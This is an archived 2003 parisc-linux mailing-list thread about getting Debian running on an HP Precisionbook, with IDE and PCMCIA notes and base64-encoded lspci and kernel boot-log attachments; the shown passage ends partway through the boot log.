Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 06:29:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE872485E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 06:29:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 195m2v-0005Nx-1m; Wed, 16 Apr 2003 13:29:49 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0304161214080.15781-100000@sal.ucc.ie>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18264

On Wed, Apr 16, 2003 at 01:07:06PM +0100, M. Grabert wrote:
> I just wanted you to inform that I successfully installed
> Debian testing on my Presicionbook.

Sweet!

> - The precompiled kernel from the EISEE team may hang ...
> 
>   ... since it has support for the CMD PCI0643 IDE Busmaster chip,
>   which is obviously used in the Presicionbook, but the driver
>   doensn't/mustn't be used in Linux, since it causes confusion!
>   So add "ide=nodma" or something similar to the kernel parameters
>   (using the IPL) or simply recompile the kernel with no IDE support.
> 
>   (The Presicionbook uses 2.5" IDE harddrives, obviously connected
>    to the CMD chip, but they automagically appear as SCSI drives on LASI
>    SCSI.)

*blink*.  That's pretty weird.  Could you send the device listing that
dmesg produces, and the results of lspci?

> - PCMCIA
> 
>   I'm honestly a little bit confused here.
>   It uses the  Cirrus Logic PD 6832 PCMCIA/CardBus Controller, which
>   seems to be supported under Linux, HOWEVER the physical slots
>   appear to be just for old PCMCIA ISA 16bit PC Cards, not for the
>   newer 32bit PCI CardBus PC Cards. I haven't tried whether it works,
>   since I don't have any PCMCIA PC Cards (ISA or PCI Cardbus).

I'm a little confused; I've got both 16 and 32 bit cards here and I
don't see any physical difference between the cards that'd prevent a
32-bit card being inserted into a slot.  Yes, gold vs silver colouring;
some bumps on the 32-bit card (could that be it?)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Presicionbook success
Date: Wed, 16 Apr 2003 13:37:08 +0100 (IST)
Lines: 140
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161331520.28370-300000@sal.ucc.ie>
References: <20030416122948.GM30643@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-275789367-807845364-1050496628=:28370"
X-Trace: ger.gmane.org 1416622389 24712 80.91.229.3 (22 Nov 2014 02:13:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 06:37:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id D026F485E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 06:37:11 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GCb8632300;
	Wed, 16 Apr 2003 13:37:08 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030416122948.GM30643@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18265

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-807845364-1050496628=:28370
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 16 Apr 2003, Matthew Wilcox wrote:

> On Wed, Apr 16, 2003 at 01:07:06PM +0100, M. Grabert wrote:
> > I just wanted you to inform that I successfully installed
> > Debian testing on my Presicionbook.
>
> Sweet!
>
> >   (The Presicionbook uses 2.5" IDE harddrives, obviously connected
> >    to the CMD chip, but they automagically appear as SCSI drives on LASI
> >    SCSI.)
>
> *blink*.  That's pretty weird.  Could you send the device listing that
> dmesg produces, and the results of lspci?

Attached to this mail ;)

NB. dmesg output running linux-2.4.20-pa32 WITHOUT IDE support!
    And I was using lspci -vvv

> I'm a little confused; I've got both 16 and 32 bit cards here and I
> don't see any physical difference between the cards that'd prevent a
> 32-bit card being inserted into a slot.  Yes, gold vs silver colouring;
> some bumps on the 32-bit card (could that be it?)

Exactly! Unfortunately you can't use 32bit Cardbus PC Cards in 16bit
PCMCIA ISA slots :-(


greetings, Max

---275789367-807845364-1050496628=:28370
Content-Type: TEXT/plain; name="dmesg.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0304161337080.28370@sal.ucc.ie>
Content-Description: dmesg
Content-Disposition: attachment; filename="dmesg.txt"

PGh0bWw+DQoNCjxoZWFkPg0KPHRpdGxlPldlYkNvbSAyIEhRPC90aXRsZT4N
CjwvaGVhZD4NCg0KPGJvZHkgYmdjb2xvcj0id2hpdGUiPg0KPHRhYmxlIGFs
aWduPSJjZW50ZXIiIGJnY29sb3I9IndoaXRlIiB3aWR0aD0iNjAwIj48dHI+
PHRkPg0KDQo8IS0tIFRpdGxlIC0tPg0KPGNlbnRlcj4NCjxpbWcgc3JjPSJp
bWFnZXMvdGl0bGVpbWcucG5nIiBhbHQ9IldlYkNvbSAyIEhRIiB3aWR0aD0i
NTI4IiBoZWlnaHQ9IjExMyI+DQo8YnIgY2xlYXI9ImxlZnQiPg0KPGZvbnQg
c2l6ZT0iMyI+PGI+RGV2ZWxvcG1lbnQgU2VydmVyIGZvciB0aGUgV2ViQ29t
IDIgUHJvamVjdDwvYj48L2ZvbnQ+DQo8YnI+PGJyPjxicj48YnI+DQo8L2Nl
bnRlcj4NCg0KPCEtLSBXYXJuaW5nIC0tPg0KPHRhYmxlIGJnY29sb3I9IkU1
RTVFNSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIj48dHI+DQoJPHRk
IGJnY29sb3I9IkU1RTVFNSIgd2lkdGg9IjQ4Ij4NCgkJPGltZyBzcmM9Imlt
YWdlcy93YXJuaW5nLnBuZyIgYWx0PSJXYXJuaW5nISINCgkJCWFsaWduPSJs
ZWZ0IiB3aWR0aD0iNDgiIGhlaWdodD0iNDgiPg0KCTwvdGQ+DQoJPHRkIGJn
Y29sb3I9IkU1RTVFNSI+DQoJPGZvbnQgc2l6ZT0iMiI+PGI+V2FybmluZyE8
L2I+PC9mb250Pjxicj4NCgk8Zm9udCBzaXplPSIxIj4NCglJZiB5b3UgYXJl
IG5vdCBhIFdlYkNvbSAyIGRldmVsb3BlciB5b3Ugc2hvdWxkIG5vdCBiZSBy
ZWFkaW5nIHRoaXMgcGFnZS4NCglBbGwgaW5mb3JtYXRpb24gb24gdGhpcyBz
ZXJ2ZXIgaXMgcHJvcHJpZXR5IHRvIHRoZSBDZW50cmUgRm9yIFVuaWZpZWQN
CglDb21wdXRpbmcsIENvcmssIElyZWxhbmQuDQoJVW5sZXNzIHlvdSBoYXZl
IHdyaXR0ZW4gcGVybWlzc2lvbiBmcm9tIGEgQ1VDIG1lbWJlciB0byB2aXNp
dCB0aGlzIHNpdGUsDQoJbGVhdmUgbm93Lg0KCTwvZm9udD4NCgk8L3RkPg0K
PC90cj48L3RhYmxlPg0KPGJyIGNsZWFyPSJsZWZ0Ij48YnI+PGJyPg0KDQo8
IS0tIENvbnRlbnRzIC0tPg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBiZ2NvbG9y
PSIjODZDOEY5Ij48dHI+PHRkPg0KPGZvbnQgc2l6ZT0iMyI+PGI+Q29udGVu
dHM8L2I+PC9mb250Pg0KPC90ZD48L3RyPjwvdGFibGU+DQo8dWw+DQoJPGxp
Pg0KCQk8YSBocmVmPSIvY2dpLWJpbi92aWV3Y3ZzLmNnaSI+VmlldyBDVlMg
UmVwb3NpdG9yeTwvYT4NCgk8L2xpPg0KCTxsaT4NCgkJPGEgaHJlZj0ibHhy
L3NvdXJjZSI+QnJvd3NlIFNvdXJjZSBDb2RlPC9hPg0KCTwvbGk+DQoJPGxp
Pg0KCQk8YSBocmVmPSJqYXZhZG9jLmh0bWwiPkphdmFEb2NzPC9hPg0KCTwv
bGk+DQogICAgPGxpPg0KICAgICAgICA8YSBocmVmPSJzdGF0cy5odG1sIj5D
VlMgU3RhdGlzdGljczwvYT4NCiAgICA8L2xpPg0KICAgIDxsaT4NCiAgICAg
ICAgPGEgaHJlZj0ibWFpbG1hbi9saXN0aW5mbyI+IENWUyBNYWlsaW5nIExp
c3RzIDwvYT4NCiAgICA8L2xpPg0KICAgIDxsaT4NCiAgICAgICAgPGEgaHJl
Zj0iL3VzYWdlIj5TZXJ2ZXIgVXNhZ2UgU3RhdGlzdGljczwvYT4NCiAgICA8
L2xpPg0KCTxsaT4NCgkJPGEgaHJlZj0ibWVtYmVycy5odG1sIj5Hcm91cCBN
ZW1iZXJzPC9hPg0KCTwvbGk+DQoJPGxpPg0KCQk8YSBocmVmPSJsaW5rcy5o
dG1sIj5MaW5rczwvYT4NCgk8L2xpPg0KCTxsaT4NCgkJPGEgaHJlZj0icGFz
c3dvcmQuaHRtbCI+Q2hhbmdlIFBhc3N3b3JkczwvYT4NCgk8L2xpPg0KPC91
bD4NCjxicj4NCg0KPCEtLSBGb290ZXIgLS0+DQo8aHIgd2lkdGg9IjEwMCUi
Pg0KPGNlbnRlcj4NCjxmb250IHNpemU9IjEiPiZjb3B5OyBDZW50cmUgRm9y
IFVuaWZpZWQgQ29tcHV0aW5nIDIwMDI8L2ZvbnQ+DQo8L2NlbnRlcj4NCg0K
PC90ZD48L3RyPjwvdGFibGU+DQo8L2JvZHk+DQo8L2h0bWw+DQo=
---275789367-807845364-1050496628=:28370
Content-Type: TEXT/plain; name="lspci.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0304161337081.28370@sal.ucc.ie>
Content-Description: lspci
Content-Disposition: attachment; filename="lspci.txt"

MDA6MDEuMCBJREUgaW50ZXJmYWNlOiBDTUQgVGVjaG5vbG9neSBJbmMgUENJ
MDY0MyAocHJvZy1pZiA4YSBbTWFzdGVyIFNlY1AgUHJpUF0pDQoJQ29udHJv
bDogSS9PKyBNZW0tIEJ1c01hc3Rlci0gU3BlY0N5Y2xlLSBNZW1XSU5WLSBW
R0FTbm9vcC0gUGFyRXJyKyBTdGVwcGluZy0gU0VSUi0gRmFzdEIyQi0NCglT
dGF0dXM6IENhcC0gNjZNaHotIFVERi0gRmFzdEIyQisgUGFyRXJyLSBERVZT
RUw9bWVkaXVtID5UQWJvcnQtIDxUQWJvcnQtIDxNQWJvcnQtID5TRVJSLSA8
UEVSUi0NCglJbnRlcnJ1cHQ6IHBpbiBBIHJvdXRlZCB0byBJUlEgOTcNCglS
ZWdpb24gMDogSS9PIHBvcnRzIGF0IDAxZjAgW3NpemU9MTZdDQoJUmVnaW9u
IDE6IEkvTyBwb3J0cyBhdCAwM2Y0IFtzaXplPTRdDQoJUmVnaW9uIDI6IEkv
TyBwb3J0cyBhdCAwMTcwIFtzaXplPTE2XQ0KCVJlZ2lvbiAzOiBJL08gcG9y
dHMgYXQgMDM3NCBbc2l6ZT00XQ0KCVJlZ2lvbiA0OiBJL08gcG9ydHMgYXQg
ZmYwMCBbc2l6ZT0xNl0NCg0KMDA6MDIuMCBDYXJkQnVzIGJyaWRnZTogQ2ly
cnVzIExvZ2ljIFBEIDY4MzIgUENNQ0lBL0NhcmRCdXMgQ3RybHIgKHJldiBj
MSkNCglDb250cm9sOiBJL08tIE1lbS0gQnVzTWFzdGVyLSBTcGVjQ3ljbGUt
IE1lbVdJTlYtIFZHQVNub29wLSBQYXJFcnIrIFN0ZXBwaW5nLSBTRVJSKyBG
YXN0QjJCLQ0KCVN0YXR1czogQ2FwLSA2Nk1oei0gVURGLSBGYXN0QjJCLSBQ
YXJFcnItIERFVlNFTD1tZWRpdW0gPlRBYm9ydC0gPFRBYm9ydC0gPE1BYm9y
dC0gPlNFUlItIDxQRVJSLQ0KCUludGVycnVwdDogcGluIEEgcm91dGVkIHRv
IElSUSA5OA0KCVJlZ2lvbiAwOiBNZW1vcnkgYXQgZjBmZmUwMDAgKDMyLWJp
dCwgbm9uLXByZWZldGNoYWJsZSkgW2Rpc2FibGVkXSBbc2l6ZT00S10NCglC
dXM6IHByaW1hcnk9MDAsIHNlY29uZGFyeT0wMSwgc3Vib3JkaW5hdGU9MDQs
IHNlYy1sYXRlbmN5PTANCglNZW1vcnkgd2luZG93IDA6IGZmZmZmMDAwLTAw
MDAwMDAwIFtkaXNhYmxlZF0NCglNZW1vcnkgd2luZG93IDE6IGZmZmZmMDAw
LTAwMDAwMDAwIFtkaXNhYmxlZF0NCglJL08gd2luZG93IDA6IDAwMDBmZmZj
LTAwMDAwMDAzIFtkaXNhYmxlZF0NCglJL08gd2luZG93IDE6IDAwMDBmZmZj
LTAwMDAwMDAzIFtkaXNhYmxlZF0NCglCcmlkZ2VDdGw6IFBhcml0eS0gU0VS
Ui0gSVNBLSBWR0EtIE1BYm9ydC0gPlJlc2V0KyAxNmJJbnQtIFBvc3RXcml0
ZS0NCgkxNi1iaXQgbGVnYWN5IGludGVyZmFjZSBwb3J0cyBhdCAwMDAxDQoN
CjAwOjAyLjEgQ2FyZEJ1cyBicmlkZ2U6IENpcnJ1cyBMb2dpYyBQRCA2ODMy
IFBDTUNJQS9DYXJkQnVzIEN0cmxyIChyZXYgYzEpDQoJQ29udHJvbDogSS9P
LSBNZW0tIEJ1c01hc3Rlci0gU3BlY0N5Y2xlLSBNZW1XSU5WLSBWR0FTbm9v
cC0gUGFyRXJyKyBTdGVwcGluZy0gU0VSUisgRmFzdEIyQi0NCglTdGF0dXM6
IENhcC0gNjZNaHotIFVERi0gRmFzdEIyQi0gUGFyRXJyLSBERVZTRUw9bWVk
aXVtID5UQWJvcnQtIDxUQWJvcnQtIDxNQWJvcnQtID5TRVJSLSA8UEVSUi0N
CglJbnRlcnJ1cHQ6IHBpbiBCIHJvdXRlZCB0byBJUlEgOTkNCglSZWdpb24g
MDogTWVtb3J5IGF0IGYwZmZmMDAwICgzMi1iaXQsIG5vbi1wcmVmZXRjaGFi
bGUpIFtkaXNhYmxlZF0gW3NpemU9NEtdDQoJQnVzOiBwcmltYXJ5PTAwLCBz
ZWNvbmRhcnk9MDUsIHN1Ym9yZGluYXRlPTA4LCBzZWMtbGF0ZW5jeT0wDQoJ
TWVtb3J5IHdpbmRvdyAwOiBmZmZmZjAwMC0wMDAwMDAwMCBbZGlzYWJsZWRd
DQoJTWVtb3J5IHdpbmRvdyAxOiBmZmZmZjAwMC0wMDAwMDAwMCBbZGlzYWJs
ZWRdDQoJSS9PIHdpbmRvdyAwOiAwMDAwZmZmYy0wMDAwMDAwMyBbZGlzYWJs
ZWRdDQoJSS9PIHdpbmRvdyAxOiAwMDAwZmZmYy0wMDAwMDAwMyBbZGlzYWJs
ZWRdDQoJQnJpZGdlQ3RsOiBQYXJpdHktIFNFUlItIElTQS0gVkdBLSBNQWJv
cnQtID5SZXNldCsgMTZiSW50LSBQb3N0V3JpdGUtDQoNCg==
---275789367-807845364-1050496628=:28370--


From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Presicionbook success
Date: Wed, 16 Apr 2003 13:41:11 +0100 (IST)
Lines: 134
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161340160.28370-200000@sal.ucc.ie>
References: <20030416122948.GM30643@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-275789367-1825776469-1050496871=:28370"
X-Trace: ger.gmane.org 1416622389 24718 80.91.229.3 (22 Nov 2014 02:13:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 06:41:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2AF08485E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 06:41:14 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GCfC632444;
	Wed, 16 Apr 2003 13:41:12 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030416122948.GM30643@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18266

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-1825776469-1050496871=:28370
Content-Type: TEXT/PLAIN; charset=US-ASCII

Sorry, I attached the wrong dmesg.txt

Thanks, max


---275789367-1825776469-1050496871=:28370
Content-Type: TEXT/plain; name="dmesg2.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0304161341110.28370@sal.ucc.ie>
Content-Description: presicionbook dmesg
Content-Disposition: attachment; filename="dmesg2.txt"

TGludXggdmVyc2lvbiAyLjQuMjAtcGEzMiAocm9vdEAobm9uZSkpIChnY2Mg
dmVyc2lvbiAzLjIuMyAyMDAzMDMwOSAoRGViaWFuIHByZXJlbGVhc2UpKSAj
MiBXZWQgQXByIDE2IDExOjAzOjI2IElTVCAyMDAzDQpGUFswXSBlbmFibGVk
OiBSZXYgMSBNb2RlbCAxNQ0KVGhlIDMyLWJpdCBLZXJuZWwgaGFzIHN0YXJ0
ZWQuLi4NCkRldGVybWluaW5nIFBEQyBmaXJtd2FyZSB0eXBlOiBTeXN0ZW0g
TWFwLg0KbW9kZWwgMDAwMDUwMjAgMDAwMDA0ODEgMDAwMDAwMDAgMDIwMjAy
MDIgNzgxYjE0MGMgMTAwMDAwZjAgMDAwMDAwMDQgMDAwMDAwYmEgMDAwMDAw
YmENCnZlcnMgIDAwMDAwMDE4DQpDUFVJRCB2ZXJzIDE1IHJldiAyNCAoMHgw
MDAwMDFmOCkNCmNhcGFiaWxpdGllcyAweDINCm1vZGVsIDkwMDAvNzc4L0Ix
NjBMDQpUb3RhbCBNZW1vcnk6IDI1NiBNYg0KcGFnZXRhYmxlX2luaXQNCk9u
IG5vZGUgMCB0b3RhbHBhZ2VzOiA2NTUzNg0Kem9uZSgwKTogNjU1MzYgcGFn
ZXMuDQp6b25lKDEpOiAwIHBhZ2VzLg0Kem9uZSgyKTogMCBwYWdlcy4NCkxF
RCBkaXNwbGF5IGF0IGYwMTkwMDAxIHJlZ2lzdGVyZWQNCktlcm5lbCBjb21t
YW5kIGxpbmU6IHJvb3Q9L2Rldi9zZGEzIEhPTUU9LyBpcD1vZmYgaWRlPW5v
ZG1hIGNvbnNvbGU9dHR5MCBzdGk9OC8yNCBzdGlfZm9udD1WR0E4eDE2IFRF
Uk09bGludXggcGFsb19rZXJuZWw9My9ib290L3ZtbGludXgNCkNvbnNvbGU6
IGNvbG91ciBkdW1teSBkZXZpY2UgMTYweDY0DQpDYWxpYnJhdGluZyBkZWxh
eSBsb29wLi4uIDEwNi40OSBCb2dvTUlQUw0KTWVtb3J5OiAyNTY0MzZrIGF2
YWlsYWJsZQ0KRGVudHJ5IGNhY2hlIGhhc2ggdGFibGUgZW50cmllczogMzI3
NjggKG9yZGVyOiA2LCAyNjIxNDQgYnl0ZXMpDQpJbm9kZSBjYWNoZSBoYXNo
IHRhYmxlIGVudHJpZXM6IDE2Mzg0IChvcmRlcjogNSwgMTMxMDcyIGJ5dGVz
KQ0KTW91bnQtY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA0MDk2IChvcmRl
cjogMywgMzI3NjggYnl0ZXMpDQpCdWZmZXItY2FjaGUgaGFzaCB0YWJsZSBl
bnRyaWVzOiAxNjM4NCAob3JkZXI6IDQsIDY1NTM2IGJ5dGVzKQ0KUGFnZS1j
YWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDY1NTM2IChvcmRlcjogNiwgMjYy
MTQ0IGJ5dGVzKQ0KU2VhcmNoaW5nIGZvciBkZXZpY2VzLi4uDQpGb3VuZCBk
ZXZpY2VzOg0KMS4gTWVybGluKyAxMzIgRGlubyBQUy8yIFBvcnQgKDEwKSBh
dCAweGZmZjgxMDAwIFsxXSwgdmVyc2lvbnMgMHgyMiwgMHgwLCAweDk2DQoy
LiBQaGFudG9tIFBzZXVkb0JDIEdTQysgUG9ydCAoNykgYXQgMHhmZmMwMDAw
MCBbOF0sIHZlcnNpb25zIDB4NTA0LCAweDAsIDB4MA0KMy4gRGlubyBQQ0kg
QnJpZGdlICgxMykgYXQgMHhmZmY4MDAwMCBbOC8wXSwgdmVyc2lvbnMgMHg2
ODAsIDB4MywgMHhhLCAgYWRkaXRpb25hbCBhZGRyZXNzZXM6IDB4ZjA4MDAw
MDAgDQo0LiBNZXJsaW4rIDEzMiBEaW5vIFJTLTIzMiAoMTApIGF0IDB4ZmZm
ODMwMDAgWzgvMC82M10sIHZlcnNpb25zIDB4MjIsIDB4MCwgMHg4Yw0KNS4g
TWVybGluIDE2MCBDb3JlIEJBICgxMSkgYXQgMHhmZmQwMDAwMCBbOC8xNl0s
IHZlcnNpb25zIDB4M2QsIDB4MCwgMHg4MSwgIGFkZGl0aW9uYWwgYWRkcmVz
c2VzOiAweGZmZDBjMDAwIDB4ZmZjMDAwMDAgDQo2LiBNZXJsaW4gMTYwIENv
cmUgQ2VudHJvbmljcyAoMTApIGF0IDB4ZmZkMDIwMDAgWzgvMTYvMF0sIHZl
cnNpb25zIDB4M2QsIDB4MCwgMHg3NCwgIGFkZGl0aW9uYWwgYWRkcmVzc2Vz
OiAweGZmZDAxMDAwIDB4ZmZkMDMwMDAgDQo3LiBNZXJsaW4gMTYwIENvcmUg
QXVkaW8gKDEwKSBhdCAweGZmZDA0MDAwIFs4LzE2LzFdLCB2ZXJzaW9ucyAw
eDNkLCAweDQsIDB4N2INCjguIE1lcmxpbiAxNjAgQ29yZSBSUy0yMzIgKDEw
KSBhdCAweGZmZDA1MDAwIFs4LzE2LzRdLCB2ZXJzaW9ucyAweDNkLCAweDAs
IDB4OGMNCjkuIE1lcmxpbiAxNjAgQ29yZSBTQ1NJICgxMCkgYXQgMHhmZmQw
NjAwMCBbOC8xNi81XSwgdmVyc2lvbnMgMHgzZCwgMHgwLCAweDgyDQoxMC4g
TWVybGluIDE2MCBDb3JlIExBTiAoODAyLjMpICgxMCkgYXQgMHhmZmQwNzAw
MCBbOC8xNi82XSwgdmVyc2lvbnMgMHgzZCwgMHgwLCAweDhhDQoxMS4gTWVy
bGluIDE2MCBDb3JlIFBTLzIgUG9ydCAoMTApIGF0IDB4ZmZkMDgwMDAgWzgv
MTYvN10sIHZlcnNpb25zIDB4M2QsIDB4MCwgMHg4NA0KMTIuIE1lcmxpbiAx
NjAgQ29yZSBQUy8yIFBvcnQgKDEwKSBhdCAweGZmZDA4MTAwIFs4LzE2Lzhd
LCB2ZXJzaW9ucyAweDNkLCAweDAsIDB4ODQNCjEzLiBNZXJsaW4gMTYwIENv
cmUgUEMgRmxvcHB5ICgxMCkgYXQgMHhmZmQwYTAwMCBbOC8xNi8xMF0sIHZl
cnNpb25zIDB4M2QsIDB4MCwgMHg4Mw0KMTQuIEdlY2tvIEdTQyBDb3JlIEdy
YXBoaWNzICgxMCkgYXQgMHhmODAwMDAwMCBbOC8yNF0sIHZlcnNpb25zIDB4
MTYsIDB4MCwgMHg4NSwgIGFkZGl0aW9uYWwgYWRkcmVzc2VzOiAweGYwMDEx
MDAwIA0KMTUuIE1lcmxpbiBMMiAxNjAgKDkwMDAvNzc4L0IxNjBMKSAoMCkg
YXQgMHhmZmZiZTAwMCBbNjJdLCB2ZXJzaW9ucyAweDUwMiwgMHgwLCAweDQN
CjE2LiBNZW1vcnkgKDEpIGF0IDB4ZmZmYmYwMDAgWzYzXSwgdmVyc2lvbnMg
MHg2NywgMHgwLCAweDkNCkNQVShzKTogMSB4IFBBNzMwMExDIChQQ1gtTDIp
IGF0IDE2MC4wMDAwMDAgTUh6DQpMYXNpIHZlcnNpb24gMCBhdCAweGZmZDAw
MDAwIGZvdW5kLg0KRGlubyB2ZXJzaW9uIDMuMSBmb3VuZCBhdCAweGZmZjgw
MDAwDQpQT1NJWCBjb25mb3JtYW5jZSB0ZXN0aW5nIGJ5IFVOSUZJWA0KTGlu
dXggTkVUNC4wIGZvciBMaW51eCAyLjQNCkJhc2VkIHVwb24gU3dhbnNlYSBV
bml2ZXJzaXR5IENvbXB1dGVyIFNvY2lldHkgTkVUMy4wMzkNCkluaXRpYWxp
emluZyBSVCBuZXRsaW5rIHNvY2tldA0KU29mdCBwb3dlciBzd2l0Y2ggZW5h
YmxlZCwgcG9sbGluZyBAIDB4ZjAxNDAwMDAuDQpTdGFydGluZyBrc3dhcGQN
CkpvdXJuYWxsZWQgQmxvY2sgRGV2aWNlIGRyaXZlciBsb2FkZWQNClNUSSBH
U0MvUENJIGdyYXBoaWNzIGRyaXZlciB2ZXJzaW9uIDAuOQ0KU1RJIHdvcmQg
bW9kZSBST00gYXQgZjAwMTEwMDAsIGhwYSBhdCBmODAwMDAwMA0KU1RJIGlk
IDJkMDhjMGE3LTlhMDI1ODcsIGNvbmZvcm1zIHRvIHNwZWMgcmV2LiA4LjA3
DQpTVEkgZGV2aWNlOiBJTlRFUk5BTF9FR19YNjQwDQpDb25zb2xlOiBzd2l0
Y2hpbmcgdG8gY29sb3VyIGZyYW1lIGJ1ZmZlciBkZXZpY2UgODB4MzANCmZi
MDogc3RpZmIgNjQweDQ4MC04IGZyYW1lIGJ1ZmZlciBkZXZpY2UsIGlkOiAy
ZDA4YzBhNywgbW1pbzogMHhmODEwMDAwMA0KcHR5OiAyNTYgVW5peDk4IHB0
eXMgY29uZmlndXJlZA0KU2VyaWFsIGRyaXZlciB2ZXJzaW9uIDUuMDVjICgy
